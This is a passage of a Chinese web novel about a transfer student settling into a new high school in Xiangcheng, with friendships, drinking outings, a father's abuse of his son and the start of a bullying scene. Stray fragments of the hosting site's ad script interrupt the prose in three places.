柏璟收回目光,歪着脑袋看她:“没什么。” “柏老头对我意见可真大,昨天我就接到了我爹的电话,给我一通骂啊。说是柏家都告状告到他脸上了,叫我别把你带坏。”黎妆耸肩,嘴上这么说着,话语中却没有一点抱怨,“不过谁让大家都心知肚明,咱俩是物以类聚人以群分呢!” 她们俩算是发小,从小就浑不咎的在一块儿勾搭,黎妆是明着坏,柏璟属于背里黑。 “这就是你说的,”柏璟看向那两人,“朋友?” 她尾调上扬,带着疑问。 “光顾着跟你见面高兴了,都把这事儿忘了。”黎妆让开点距离,指了指寸头男,“简侵,我们都叫他简老大,这外号是不是可骚了,之前帮我摆平不少麻烦事儿,一来二去就玩到一块儿了。” 她眼睛又往后看:“那个是温恒年,人称襄城一高一枝花儿,长的带劲儿吧?” 确实好看,像文人笔下的公子哥,谦谦如玉。 柏璟目光扫过去,简侵微微点头算是打了个招呼,温恒年唇边含了点笑:“你好。” “柏璟,我发小,玩特好那种。”黎妆笑着把人往自己这边拉,颇有些护短的模样,“往后咱们四个就是襄城f4。” 黎妆话说的中二,但也挺有意思。 她来之前就找好了房子,柏盛昌特意给她租了个离学校近的地方,房租一付就是一年多,足够撑到她高中毕业暑假过完。 柏璟行李不多,一个箱子装满,再背个背包,都是些她离不开的玩意儿,也是柏盛昌口中那堆“破烂儿。” 黎妆指挥着两位男生把东西拖着,自己则是片刻不离柏璟的手臂,粘糊得很。 襄城天热,没一会儿柏璟被揽着的地方就出了一层薄汗。 好在车站口就能打着车,四人分了两辆车离开,温恒年随着她们俩这辆,独撇开简侵一个人另外跟着。 房子是个标准的一室一厅一厨一卫,地方挺大,一眼看上去空落落的。 干净,整洁。 就是风格不是柏璟喜欢的,太过于花哨,各种色块儿堆积起来看的人眼花缭乱。 柏璟暗暗决定找个时间要好好整理一下。 “等会儿收拾完晚上去撸串儿,襄城北郊那块儿有家贼好吃的烧烤摊,馋我了五六天了,可惜距离太远懒得动身,正好你来了,借着这个机会去搓一顿。”黎妆窝在客厅沙发里,开始盘算接下来的行程。 离高三开学还有不到一个星期,柏盛昌起初是不愿意把她跟黎妆安排在一个班的,可惜她属于插班生,柏老头手伸的再长也无济于事,学校分配,恰好就是同一个班级。 柏璟带的行李大部分都是细碎的小东西,虽然不多但摆放着十分麻烦。 听黎妆说的简侵先去北郊那块儿定吃饭的位子,稍后开车来接。 许是不熟的缘故,那个叫温恒年的跟柏璟并没有过多的交流,偶尔叫一声她的名字也是为了问手里的东西应该放在哪儿。 等三人把屋子收拾出个能住人的样子,天已经摸黑了。 黎妆洗了把脸看了看手机,二十分钟前简侵就在路口等着了, “走吧,今天我请客,给阿璟接风!”黎妆搂上柏璟的脖子,嘻笑着招呼两人。 柏璟下意识看向站在窗口的少年,那人没多大反应,仅仅转身点了点头。 距离不近,车上黎妆喋喋不休的给她细讲几个人怎么认识的: 简侵是他们当中唯一一个已经成年的。 黎妆高一时候便来了襄城,她外婆家在这儿,老人家年纪大了想多让外孙女陪陪,于是那年才十六岁的女孩儿独自一人背着大包小包,坐了十几个小时火车来到这个跟家乡各方面都截然不同的地方。 她漂亮的很张扬,开学以来被各路子的人纠缠不断,跟简侵认识就有这方面的原因。 那年简侵马上要从职高毕业,校门口碰见被学校里风评极其不好的几个人堵着不让走的黎妆,在对方准备上下其手的时候,简侵快步过去把在发火儿边缘的黎妆挡在身后, 他很出名,几个小混混看见简侵,气势就怂了三分之二:“简老大,原来这美女是你朋友啊?” 简侵不善言辞,蹙着眉骂了声:“滚蛋。” 等人走后,简侵转身,正对上一双狡黠的眼睛,小狐狸似的意味不明的打量着他。 他一瞬间有些失语:“……” 黎妆却是大大方方的伸出手:“你好,我叫黎妆,你今天替我解了围,往后咱们就是朋友了!” 简侵脑子拐弯一样,从不跟异性有肢体接触的他这一刻却僵硬的握上那只手,说话也带了点磕巴:“叫我简侵就行。” 黎妆称这种行为叫“英雄救美”。 柏璟扫了眼后视镜中驾驶座上那位的表情,心底吐槽:明明更像见色起意。 温恒年则是从高一就跟黎妆一个班的,不过在此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之前他就跟简侵有些交集。 黎妆撞见两人同桌吃饭的时候惊喜的很,忙称这是缘分,一来二去,三人就顺其自然的混在了一起。 到了目的地,柏璟下车之后首先嗅到的便是浓浓的孜然香,混合着其它香料的味道,让她不自觉咽了咽口水。 各种肉类撒上调料被架在炭火上一烤,香味儿就出来了,争先恐后的往众人鼻子里钻。 柏璟许久没有吃东西,闻到这个味道,才算真切体会到了什么叫饿得前胸贴后背。 这家店分室内和室外,简侵提前订了个后院儿的大包间。 被老板带过去一看,是个露天的棚子,半遮掩着。 既凉快又隐私。 店老板是个很高很壮的男人,看上去三十来岁,右边眉毛靠后的地方断开,柏璟细看,似乎是有一道疤,纵生在皮.肉上。 简侵跟他打了招呼,互相让了支烟,柏璟心下了然,这俩人是认识。 一张方形桌子,恰好够四个人坐,柏璟左边坐着黎妆,右边挨着温恒年。 黎妆应当是来了很多次,菜单都没要的指挥着老板上菜:“上次那个烤知了还有吗?给我来十串。” “你还挺会吃,放心!别人来没有,你要来就有。”老板乐着,拿着一支笔在本子上记。 “阿璟喜欢吃五花肉,但是不能偏肥,烤的稍微久一点吧。”黎妆说着,看向对面坐着的白衣男生,“温恒年,你来点儿什么?” 少年微微抬起下巴:“素一点的就行,我不挑。” “这个茄子不错,剩下的就老样子安排吧。”黎妆说完,托腮看着简侵,“简老大应该不介意我们喝点酒吧?” 简侵怔了下,无奈道:”……喝吧,结束之后我开车送你们。” 柏璟眉尾微颤,想起来之前黎妆带自己出去喝酒,次次喝次次多,属于是又菜又爱玩,也就明白了简侵的欲言又止。 菜上的很快,冰镇过的乌苏啤酒往旁边一放,柏璟甚至都能感受到瓶身上冒出的微弱寒气。 她不太喜欢喝酒,其一味道不好,其二自己酒量也就比黎妆稍微能坚持那么几杯。 只不过她属于点到为止,而黎妆则是喝到自己痛快到底。 几人玩炸金花,简侵以茶代酒。 柏璟手气不错,几次走牌都没输,运气最差的反而是温恒年,三轮下来输给身为庄家的黎妆八个酒。 几杯下肚,他面色稍稍白下来,喝酒不上脸,越喝看着越白, 可惜后半场她就没那么幸运,几乎每一把都输,五轮下来,柏璟脑子里已经开始泛酒花儿了。 舌头麻木,柏璟实在受不了这走牌的速度,举白旗表明自己得去上个厕所。 黎妆的状态也好不到哪儿去,摆了摆手让她快去快回。 从厕所出来,左拐就是洗手台,她低头走着,余光瞥到前面的阴影的时候已经来不及停步了,直直撞在了对方身上。 柏璟一边说着抱歉一边抬头看, 是温恒年。 她愣了一下:“你怎么也出来了?” 男女厕所是分开的,总不至于是在等她从女厕所出来吧? 况且他这副模样看起来也不像要去厕所的。 温恒年面上表情有一丝的崩裂,沉默了一会儿后叹气:“这会儿那边不太适合有别人在。” 柏璟没听懂他的意思,诧异着洗了手便要回去。 还没走出几步,便被身后的人拉了手腕,似乎觉得太冒犯,又迅速松开。 温恒年抿唇:“他们两个在接吻,等会儿再过去吧。” 柏璟:“……” 5. 酩酊 酒局结束,黎妆已经醉的不成样子了,碍着跟简侵刚认识,柏璟干脆把从温恒年那儿听到的事儿当做不知道。 只是在简侵送她回去,下车之前,还是没能忍住多看对方几眼。 这人乍一看挺凶,背地里还挺闷骚的? 跟车上的人道了谢,柏璟开始往回走。 车能停的地方离她租的房子还有一段距离,隔着两条小巷。 夜半的襄城还挺凉快,丝丝微风从她耳边一缕一缕飘过。 被这凉风一吹,柏璟好不容易下去的酒劲儿又慢慢反上来。 周围很安静,连只虫鸣都没有。 而下一秒,寂寥的环境就被不合时宜的手机铃声打破。 柏璟瞧了眼,是好几天都没联系她的池潭生。 临近来襄城的那几天,池小少爷忿忿不平:“黎妆走,你也走,都走吧,剩我一个儿在扬市等死去吧。” 柏璟激他:“那你也来?” 对方眸色一动,随后嘴角往下撇:“少来,我对襄城这个地方没什么好印象,你们去就去,别拉我走出舒适圈。” 这话之后将近一星期,柏璟发的消息如同石沉大海,就连她来襄城那天,池潭生也没来送行。 似乎是料到他早晚坐不住,想法被印证之后的爽感涌上来,柏璟接了电话。 那边沉默了三秒,哑声道:“怎么还没睡。” 柏璟声音懒散,尾调扬起:“睡了怎么接住你的电话?” 池潭生似乎被哄的很高兴,再开口时已经恢复了往日那副欠揍的模样:“感觉怎么样?是不是少了我你们玩都玩不尽兴?” “没有你我才发现,”柏璟带点遗憾道,“我们别提有多快活了,之前跟你一块儿混,过的都是什么苦日子啊?” “柏-璟-” 听到这句,池潭生才听出来她这是喝了酒,于是咬牙切齿:“别贫,说真的,趁还没正式定下来,你还能反悔,回扬市跟我一块儿毕业吧,你不想看柏老头的脸色的话高三之后咱们直接出国,大不了我照顾你。” 他顿了顿,又哄着来:“黎妆是从小就隔三差五的到那边住,你又不能跟她比,要是适应不了怎么办?” 对他这点先威逼再利诱的手段,柏璟早已经免疫了:“既然来了,我就没想过再回去,池潭生你了解我的。” 就是因为足够了解,池潭生才有种要抓不住什么的感觉,又是一阵儿长久的沉默,他不再劝。 “又不是见不到了,你得空就飞过来看我?”柏璟耐心道。 “有空我也不会去的。”池潭生声音低沉,“柏璟你跟我做个约定。” 她问:“什么?” “在那边不能认识比我跟你关系更好的异性。” 柏璟无奈:“知道了。” “行,挂了。”池潭生这才算稍微满意一点。 - 这一周过的挺快,眨眨眼就到了开学。 一大清早,柏璟就被敲门声震醒。 她头疼的听着“咚咚咚”的节奏声,知道肯定是黎妆来催。 自“接吻事件”第二天,柏璟明里暗里的跟她打听,结果这鸟人丝毫不记得那天她去厕所之后发生的事情。 起初柏璟还担心她是不是被简侵占了便宜,不过这种想法在把之后几天两人的相处方式看在眼里时就打消了。 黎妆这种性子,她要是不愿意,谁敢强迫? “不是才七点?这么着急?”柏璟揉着眼睛给她开门,嗓音因为刚睡醒还带着沙哑。 黎妆一边去冰箱里拿水递给她,一边说着:“早点去带你熟悉一下学校环境,而且不迟到绝对不是什么坏事儿,咱们班班主任可凶了,但凡迟到的没一个罚站低于两小时的。” 柏璟大脑还没开机,就被督促着喝下半杯水:“这么可怕?我要不要找关系转个班?” “亲爱的璟,你忍心看我一个人被摧残吗?”黎妆可怜巴巴趴在沙发上看她。 柏璟被恶心的一阵冷颤:“别这样看我,我鸡皮疙瘩都起来了。” “除了班主任,氛围还是可以的,咱们班可是学校公认的帅哥最多的班级。”黎妆笑着,颇有些贱兮兮的样子,“学习生活已经够苦了,身边有点儿好看的面孔饱饱眼福嘛!” 柏璟叹气,有些无奈:“你跟简侵之间算什么?逢场作戏?” 黎妆愣了下,接着道:“我没想着跟他有什么发展。” 想了一下之后,她又补充:“至少目前没有这个想法。” “如果是别人,我得蛐蛐几句。”柏璟说,“不过谁让你是我发小,我只能说小心引火烧身。” “简侵他不在意这些的。”黎妆说完,半躺下去。 “你怎么知道他不在意。”柏璟反问。 黎妆被问住,半晌没吭声。 收拾完,时间已经过了七点半。 柏璟瞧她还懒在沙发上,过去把人拖起来:“走吧,大小姐。” 襄城一高实行军事化管理。 地方不大,事儿还挺多——这估计是每个学生的心里话。 她们来的早,又是开学第一天,偌大的校园里没几个人。 操场上站了两列身穿迷彩服的,黎妆指给柏璟说:“高一军训的教官,我当时参加军训的时候,还中暑晕倒过,结果那年活生生把时间减短了三天,同级的别提有多感谢我了。” 学校面积还行,比之前在扬市读书的那所小一点,图书馆和食堂前后挨着。 住校的人很少,所以宿舍楼只有男女两栋。 礼堂和体育馆在同一个室内,一个靠里,一个靠外。 进去看的时候几个身穿校服的人正在扯横幅,柏璟远远儿的看见了几个字“开学典礼”。 整个学校逛下来,已经快九点了,黎妆被班长叫回去点名,柏璟则是先去教务处领校服。 再次路过操场,教官们已经解散了,零零散散一些学生结对而行。 “报告。” 教务处没关门,柏璟秉着初来乍到的礼貌,先是敲了下门,又喊了声。 红色的皮沙发上坐着一个岁数看起来挺大的老头儿,听到声音之后先是摸了眼镜带上,然后才挥挥手示意柏璟进去。 走近了看,桌子上摆着一个三角立牌,上面印着一行字:教导主任—吴方回。 “吴主任好,我是新转来的,来领一下校服。”柏璟乖巧道。 吴主任推了推镜腿,眯着眼睛看她:“喔…我听说了,高三那一届的插班生是吧?” “嗯。”面对老师,还是一个长辈级的老师时,柏璟有些局促。 “左边靠墙那个柜子里,下面第三层,你自己去拿吧。” 好在两人没有其他交流,柏璟快速找到自己的尺码出了门。 九点半,柏璟准时出现在班级里。 座位应该都是按照之前的序号排列的,柏璟找了个没贴数字的位置坐下,黎妆跟她隔了三排,趁着班主任不注意,悄悄往后对着她眨眼。 柏璟用口型做了个“老师在看你”,对方立刻扭过身去。 班主任面相就挺严厉,有种不怒自威的意味,柏璟被她一盯,浑身都麻了一下。 “新转来的那位同学,今天是个例外,咱们班以后九点必须进班,你上来做一下自我介绍。”班主任说话的时候还扬了扬下巴,让柏璟有一种 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要上刑场被枪.毙的错觉。 讲台很高,柏璟站上去之后视野开阔了不止一个度,她暗想这个班应该没人敢偷偷玩手机:“我叫柏璟,松柏的柏,璟是景色的景加一个王字旁。” 她说完,底下多了几声窃窃私语,黎妆隔空给她竖大拇指。 “行,你下去……” 班主任喉咙里那个“吧”字还没说出口,便被门口多的那束人影给打断。 “报告,我迟到了。” 这声音耳熟,柏璟侧目去看,还是一件白衣,只不过少年额前的发丝因跑步而有些被打湿。 温恒年背光而站,柏璟错觉之间,视觉和大脑都反应出来他是不是镀了一层金色的圣光。 这一幕在柏璟眼里算得上是惊艳,可惜对每个学生都了如指掌的班主任不这么想。 女人眉毛一横,单手叉腰,眉间更是狠狠的拧起一个疙瘩:“温恒年!开学第一天你就搞特殊,人新同学都比你来的早几分钟!” 门口的人很乖顺的模样,低头认错:“老师说的是,我错了。” 只不过这良好的态度没有让班主任消气:“每次都是这样一句,后面儿站着去。” 温恒年顺从的走到后面。 班主任又把目光引到柏璟身上:“行了,你也下去吧。” 柏璟的座位是最后一排,不可避免的跟被罚站的温恒年对视了一眼,只几秒钟的功夫,那人还小声的跟她道了声早。 她点了点头,迫于身后班主任的压力,没有回应。 开完班会,柏璟明显感觉到后面的人叹了口气,接着是脚步声。 一,二,三,四,五…… 怎么停了? 柏璟顺着声音结束的方向看去,跟自己隔着一个空位的地方,少年刚坐下就侧趴在桌子上,与扭头寻人的柏璟的目光撞个正着。 对方笑了下:“你好?” 柏璟木讷着:“你好。” 班级里有松动之后,黎妆立刻跑到两人中间这个位置,胳膊肘撑在桌面上托腮揶揄道:“你也真够倒霉,第一天就迟到。” 这话是跟温恒年说的。 温恒年垂目:“这不挺正常的事儿了?” 黎妆赞叹道:“神人,我认识你以来就没见过几次你不迟到的时候。” 怪不得班主任是那个态度,柏璟心里了然,这厮是个迟到专业户啊。 聊天之间,一个人走到柏璟桌旁,敲了敲桌子:“同学你好,我是咱们班班长,这个表格你填一下,下午放学前给我就行,还有这个小本是咱们学校的学生守则,前面三页都是要会背的,学校会不定期抽查,有时间记得背一下。” 班长走后,柏璟暗自咂舌:“这么夸张?” 黎妆看见那个小本书就萎掉了,不忍的略表同情:“习惯就好,我们都是这么过来的。” 表格上内容不多,柏璟大致填了一下姓名籍贯地和转学前的情况就交了过去,班长草草扫了一遍,没说什么的就收起来了。 “简侵叫着晚上吃火锅,一起?”黎妆看了眼刚收到的消息,跟二人商量着。 “我有事儿要忙。”温恒年率先拒绝。 柏璟原本想跟一句自己也不去了,便被黎妆轻轻捏了下肩膀:“阿璟,陪我呗。” 接着又凑到她耳边:“你早上给我说的我都尴尬了,不知道怎么一个人面对他,你得对我负责。” 柏璟吃了哑巴亏,只得低头认命。 偏偏温恒年好死不死接了句:“悄悄话小声点,生怕我听不到似的。” 黎妆随手抽了他桌面上一本书扔过去,又转身跟柏璟吐槽:“真是欠得跟池潭生那逼有的一拼。” 6. 酩酊 放学后黎妆拖拖拉拉的迟迟不收拾,柏璟只得无奈问她:“你这是打算去还是不去?” 黎妆抓了把头发,烦躁道:“我今天一天都没心思听课,满脑子都是以后怎么跟简侵相处。” 柏璟叹气:“我没问之前你们俩不也挺暧昧了?之前怎么相处以后也还怎么来不就行?” “这不一样。”黎妆说完,嗓子眼里像堵了什么,怜悯的看了眼柏璟,“算了,小可怜,我忘了你对感情上的事儿丝毫不通。” 这话说的有点人身攻击。 其实不然,柏璟初三的时候追过一个同级的男生。 学习好,斯斯文文,长相也不错。 是学校女生提起来都不会反感的类型。 她废了好大劲儿才把人追到手,只可惜没过个把月,两人就分道扬镳。 柏璟回忆起来这段不算美好的关系,忽然觉得黎妆或许也没说错。 黎妆墨迹着把东西装好,班里面的人已经走的差不多了,只剩后排坐着的温恒年。 她往后瞥了一眼:“你不是有事儿吗?怎么还在这儿呆着?” 温恒年一只手臂支在桌面上,另一只手把玩着一支笔转来转去,听到声音才抬起头:“你们忙你们的,不用管我。” 黎妆没再多问,拉着柏璟走出教室。 校门口围了一小群人,黎妆远远儿的看见这阵仗,料到肯定是简侵在那儿。 她停住脚步,拿出手机拨了个电话过去:“你非得在我们学校门口吗?” 语气有些羞恼。 电话那头不知道说了什么,黎妆挂断之后指了指后方:“走吧,绕小门出去。” 两人朝着另外一个方向没走几步,柏璟便听到了身后车子发动的引擎声。 走出学校后,路边简侵靠在车门上抽烟,黑色的t恤被风一吹,勾勒出他上半身的肌肉线条。 黎妆瞥开目光,走到后面开门坐进去。 半分钟后,简侵上了车。 一时间车内的气氛有些凝固,柏璟略微尴尬的往后靠了靠,努力降低自己的存在感。 好在路程不远,十几分钟便到了。 火锅店是很地道的川味风格,刚走进店门,柏璟便被浓烈的辣味扑个满面。 黎妆好辣,男人也算下了心思。 - 温恒年推开门,沙发上坐着一个男人,客厅里烟雾缭绕,也不知道那人坐在那儿不动多久,又连抽了多少根烟。 这是他生理上的亲爹。 温展少有的没哄小女儿温怡竹睡觉,只是这模样,怕是要找他问话。 温恒年关门的动作停滞了几秒钟,才继续进行。 在沙发上方,天花板上吊着一大团琉璃灯,光亮打下来,一点一点的点缀在地面上。 面对自己儿子回来,温展没流露出太多感情:“听周卓说,你还在跟姓简的那个小子在一块儿混?” 周卓? 喔,他不提这个人,温恒年还真想不起来。 这是他爹为了监督他在外面的行为安排的眼线。 “你的狗还真是忠诚,什么事儿都向你汇报。”温恒年语气很平静,他跟这个所谓的父亲,实在没有什么好交流的。 “你知道公司里传的多难听吗?说我温展的儿子在外面跟一个小混混当朋友!同龄那么多好人家的你不去结识,非要跟一个打手兼要债的一块儿混!?” 温恒年眼底情绪微冷,讽刺道:“怎么?我交朋友也需要温总您来亲自指导了?” “啪” 是什么东西碎掉了,在温恒年脚下,赫然一摊玻璃渣。 那之前应该是个杯子。 “我警告你,少在外面给我惹事儿,背上什么坏名声,你那百分之八的股份一毛钱都别想拿到!”温展努力遏制自己的怒气。 早就习惯了一般,温恒年对他的吼声视若无睹,上了楼回房间之后,他先看向了桌子上摆着的那个相框。 照片里小时候的他被一个长相精致,甚至用得上万里挑一的女人抱着。 很多人说他像温展。 其实不然,他更像自己的妈妈,不管是外貌还是性子,他都随母亲,是看了很舒心的那种长相,不似温展,给人一种奸滑的不适。 父母离婚后,他尽量避免了跟温展的正面冲突,可偏偏多数时候那人都不依不饶,似乎自己顾他长辈面子的退让是一种可耻的懦弱和逃避。 温恒年前脚进屋,后脚男人便跟了上来,伸手去拧门把手,却发现房间门早就被反锁。 携带着怒气拍了几下,温恒年被叨扰的不厌其烦,保持着安全的距离开门:“你还要说什么?” “这就是你对你爸的态度?温恒年,我怎么教导你的!?”温展看着面前不知道什么时候比自己高出个头顶的儿子,盛怒之下还有些怂气。 温恒年没直面回答他的话,而是指了指楼上:“你那宝贝女儿刚睡着没多久吧?要是想把她吵醒之后到你跟前哭闹一番的话,你尽管继续。” 他这话刚说出口,便被对面站着的男人上前一步打了一巴掌。 刚开始是不疼的,灼热的触感布在左侧脸颊上,之后开始泛起丝丝麻木的肿胀。 温恒年舔了下口腔内侧,有些许的腥咸。 温展打他,可真是从来都下手不轻。 也是,被过于优秀的配偶压了半辈子,碌碌无为的中年男人,平庸的过完自己的前半生,终于在自己儿子身上找到了征服感和掌控欲,很难做一个正常人。 温恒年没再犹豫,微微侧身把门口旁边桌子上的手机捞过来,推开温展朝楼下走去。 在这个家真是一天安生日子都过不了。 楼梯上半层的拐角处,一个小女孩怯生生站在角落里,看温恒年的身影出现,急切叫了声:“哥哥,你去哪儿?” 温恒年被这一声叫停下来,也仅仅只留了两秒不到,连句话都没回的继续走。 身后温展还在骂他走了就永远别回这个家。 温恒年浑身轻松的想着:去你的,跟谁他.妈稀罕似的! 不过他后妈.的女儿似乎很喜欢自己,整日里“哥哥哥哥”的叫着,刚小学二年级的年纪,放了学就非等自己回去之后缠着自己教她做作业。 想到这儿,温恒年有点闷的慌,小孩儿是没什么错,但也得允许他拥有不喜欢亲爸跟后妈生的孩子的权利吧? 倒不是想争什么宠,毕竟温展不配。 只是那个女人虚伪的神情,父亲的不待见,甚至连家里做饭的阿姨为了讨好新女主人都要做自己不喜欢吃的东西,那种浓厚的窒息感,让他喘不过气来。 二十分钟后 KTV包间里,几个人围着温恒年,其中离得近的伸手戳了戳他脸上的红肿处,嘴里啧啧有声:“你爸他真不是人,亲儿子也下得去手。” 温恒年往后靠在沙发上,躲开了那人还想再戳一下的手。 “不过你明天还有课,跑出来约我们喝酒是不是不太好?”宋京承说着,手上动作却很诚实的把温恒年面前的杯子给满上,还不忘往里面加几块儿冰。 温恒年恹恹的接过来跟他碰杯:“就算不去,我也能追的上课程。” 宋京承咂嘴:“啧,该死的天才。” “不过,好久没看见简老大了,还挺想他,哎阿年,他最近做什么呢?”离得稍微远些的一个黄毛问道。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 温恒年:“忙着追姑娘呢。” 黄毛眼睛瞪的圆溜溜:“不会是上次在烧烤摊碰见的那个美女吧?” “嗯。”少年无心回复一句。 “我靠,简哥牛逼啊,不过那姑娘看着就挺难追,估计咱哥这次要费大劲儿了。” “追姑娘嘛!不费心思怎么行?要我喜欢上一个人,我也忍不住掏心掏肺对她好。” 宋京承借着这个话题问:“阿年你也不追个人试试?白瞎这么好看一张脸了。” 温恒年带着凉意看他:“追谁?追你?” 宋京承毛骨悚然:“别,我开玩笑呢。” - 一顿饭吃的柏璟浑身不自在,黎妆这女的嘴上说着自己会尴尬,但实际对方给剥的虾夹的毛肚千层,一样不落下的吃进了自己的胃。 简侵结账的时候两人就在门口等,柏璟表情复杂看向唯一一个吃撑的那位。 黎妆这才后知后觉起来:“没办法,我俩认识太久了,早就相处的融洽了。” 柏璟心道:谁管你。 “刚吃完出来。”简侵出来的时候在打电话,对面问了句什么,他看了眼黎妆,“她们都在。” “行,我问下。” 说完,把手机拿的远了些,问道:“温恒年在金k,开了个大包,要去玩会儿吗?” 黎妆跃跃欲试:“行啊!你是知道我的!我无酒不欢!” 柏璟寻思这次她能拒绝了吧,便被黎妆用一根食指堵了嘴:“求你,别走。” 柏璟:“……那我也行。” 几人到的时候,简侵开了包间门,才发现里面不止温恒年,有三四个人。 不过还好,都是平时在一块儿玩的,没有生面孔。 柏璟一眼瞧见满屋子欢声笑语中唯一一个沉默的窝在沙发上的温恒年。 不是他叫着来玩吗?怎么反倒是最不开心的那个。 简侵走过去低声问道:“又跟你爸吵起来了?” 温恒年有些蔫儿:“一天一小吵,三天一大闹,哪天不吵架我都吃不下饭。” 包间里灯光闪烁,黎妆很快融入进去,只不过奇怪的是,她今天走到谁身边,谁就慌慌张张的往旁边移开,生怕跟她有什么接触。 她纳闷的问:“我是有什么传染病吗?怎么一个个都躲着我。” 当局者迷,旁观者清。 柏璟观察了一下那些人的目光所至,都是在简侵身上,扬了扬眉后朝着黎妆招手:“估计这一圈儿人中,你身上已经贴着简侵的标签了。” 黎妆抖了抖身子,咕哝一句:“怎么还看人下菜碟啊?怕简侵找他们事儿,就不怕孤立我之后被我找事儿?” 这算得上哪门子的孤立? 不过黎妆的脑回路一向诡异,也难怪简侵迟迟追不上。 宋京承把音乐停了之后才发现多了个新人,他有些好奇:“这谁的朋友?” “这”指的是柏璟。 黎妆摆了下手:“哎哎!我发小柏璟,除了我家里人之外生命中最重要的女人。” “果然,美女的朋友都是美女。”宋京承笑的欠,一边打着哈哈一边招呼着玩游戏,“摇骰子?上次被简老大杀的片甲不留,这次不得找找面子?” 众人表达了没问题之后,柏璟被黎妆拉着坐到了温恒年旁边。 灯光有些昏暗,但她转头还是看见了那人脸上的异样。 柏璟怔了怔,被温恒年捕捉了个正着:“该你了。” 柏璟很快反应过来,看了看骰面之后报了数,心思却还在自己刚刚看到的那块儿泛红上。 像是被人打了一巴掌。 而且还不轻。 7. 酩酊 柏璟运气实在不好,夹在温恒年跟黎妆中间,被一上酒场就不对付的两人连累了好几次,喝到后面,整个人都有些神志不清。 她扯了扯黎妆的袖子,示意她让一下去个厕所,黎妆被酒精熏的根本听不清她在说什么,还是旁边的简侵拉了一把,才得以解脱。 包间里就有厕所,只不过被人占着,柏璟等了几分钟,大约里面的人是在吐,一时半会也出不来,只能出了包间去楼层的公厕。 从厕所出来洗了把脸,脸上的热度稍稍往下降了些,柏璟才好受一点点。 她直起身子,一个走路歪歪扭扭的男人从旁边男厕出来,站到洗手池前。 柏璟多了个心眼往旁边避了避,那男人身子却像开了导航似的朝着她倒过来。 倒不是故意骚扰,更像是喝多了控制不住自己的行为。 快要挨着柏璟时,男人的身体被横在两人中间的一只手臂拦下了,随后那只手用了些力气,把人推到一边。 被这么一推,男人似乎有了些意识,这才看清楚旁边还有个人:“哟!不好意思啊小姑娘!我没看见你。” 再三道歉之后,男人脸红脖子粗的后退着走开。 柏璟靠在洗手池上松了口气,抬眼看向帮了自己的温恒年:“谢了。” 少年往旁边侧了侧,一边洗着手臂上刚刚触碰喝醉男人的地方,一边说着:“这种地方少不了有一些喝多的傻叉,纵使有的人是无心之举,但是会故意招惹人的也大有人在,下次出来可以叫个人一起,简侵或者我,都行。” 回到包间,游戏对峙也因为温恒年的离开已经结束了,黎妆歪歪扭扭的倒在沙发里,身上披着简侵带来的外套。 宋京承不知所去,包间里只剩下他们四个。 “不早了,今天结束吧。”简侵扬起下巴示意他们看向已经不行了的黎妆。 被点到的女孩却还嘴硬嚣张道:“再来!我就不信我下把还这么倒霉!” 简侵弯腰在她耳边哄了句什么,黎妆嘿嘿笑了两声,伸手捏上他的脸侧:“这可是你说的!不许反悔!” 简侵没躲开。 宋京承进来的时候看见的就是这一幕,他啧的一声转过身去,只当自己眼瞎了。 这个KTV处在几人住的地方的中间段,简侵没喝酒,负责开车送黎妆,宋京承则是打了个车赶去下一场。 走之前,黎妆叫嚣着:“温恒年!我可把阿璟交给你了!好好的把人给我送回去,明天要是少一根头发我就把你剃成秃头!” 温恒年性格跟他长相极为不匹配,说出的话噎死人:“行,她要是回去洗个头掉了几根,也都算在我身上得了。” 已经将将入秋的襄城夜晚的温度有些凉意,柏璟今天穿的是个无袖背心,脖子上挂了条金属项链,被风一激,贴在颈窝处暖不热似的,手臂上慢慢起了鸡皮疙瘩,她抱着手臂试图让自己温暖一点。 这动作被一旁拦车的温恒年注意到,贴心的问了句:“很冷?” 柏璟酒劲儿还没完全过去,木讷着呆呆回应:“呃,还好。” 金k旁边是条小胡同,风声灌进去呼呼作响。 只是还隐隐约约掺杂了些别的什么声音,柏璟刚开始以为是幻听,屏着呼吸细听之后,才确定下来自己没听错。 她蹙了蹙眉,想走近一些听个清楚,还没迈开腿,便被温恒年叫住:“怎么了?” “那个巷子里,好像有什么动静?”柏璟眯了眯眼,晕乎着道。 温恒年比她清醒一些,听见一句骂人的话之后,眼神晦暗:“没什么,你听错了吧。” 柏璟对他的话保持怀疑:“怎么可能?” “别过去了。” “怎么了?” 还没等对方解释,那声音突然大了些。 “操.你.妈.的,嘴真硬!” 这声音是个女生的,随后又是一阵哭声,携带着点儿倔强的哀求:“我就是路过,没想到里面那个是你,你放我走吧。” “给你两个选择,要么退学别再让我看见你,要么在学校嘴闭紧,以后看见我老老实实的绕道走,还得随叫随到,别想着躲我,我知道你家在哪儿,听懂没有?”那女生又威胁道。 柏璟皱着眉,想过去看看,事情已经挺明显了,这是让她撞上霸凌现场了? 温恒年叹了口气,挡在她面前:“柏璟,听我的别管了。” 倒不是他没什么见义勇为的美好品质,只是对方几个人,又是什么路子来的都没搞清楚,这么贸然行事,柏璟一个初来乍到的独居女生,被缠上了少不了麻烦。 原以为柏璟是个头脑清楚挺听劝的,却看见地方在听完自己的话之后,眉尾一扬,张口就来:“碰见这种事儿你都不去帮吗?万一那个女生因为这事儿想不开,得抑郁症,最后走不出来心理阴影自杀,你不会后悔今天自己的见死不救吗?” 温恒年哑然。 女生接着说:“以后那女孩儿的魂魄就跟着你,你半夜起来上完厕所,回去一看,女孩躺你床上了,你睡觉做个梦,那女孩就对你喊着温恒年我冤啊,我好冤。” 温恒年:“……” 人不聪明,想象力倒挺强。 不过这话显然挺见效,把柏璟往自己身后拉了拉,他无奈着:“跟在后面,情况不对就跑快点儿,行吗?” 柏璟没否定。 两人走过去的时候,温恒年不得不叹一句现在的人还挺胆大,法治社会,连往里面再躲躲都没有,离路口不过两三米的地方就敢打人。 不过还好,巷子里只有两个人。 一个染了极其夸张发色的女生站在靠外的地方,手里正揪着一撮头发。 估计也是没想到会有人来管闲事,蓝发女生愣了愣,才骂了句:“看什么看?有病是不是?” 温恒年侧身看了眼坐地上的女孩,身上穿着校服。 得,还是他们学校的。 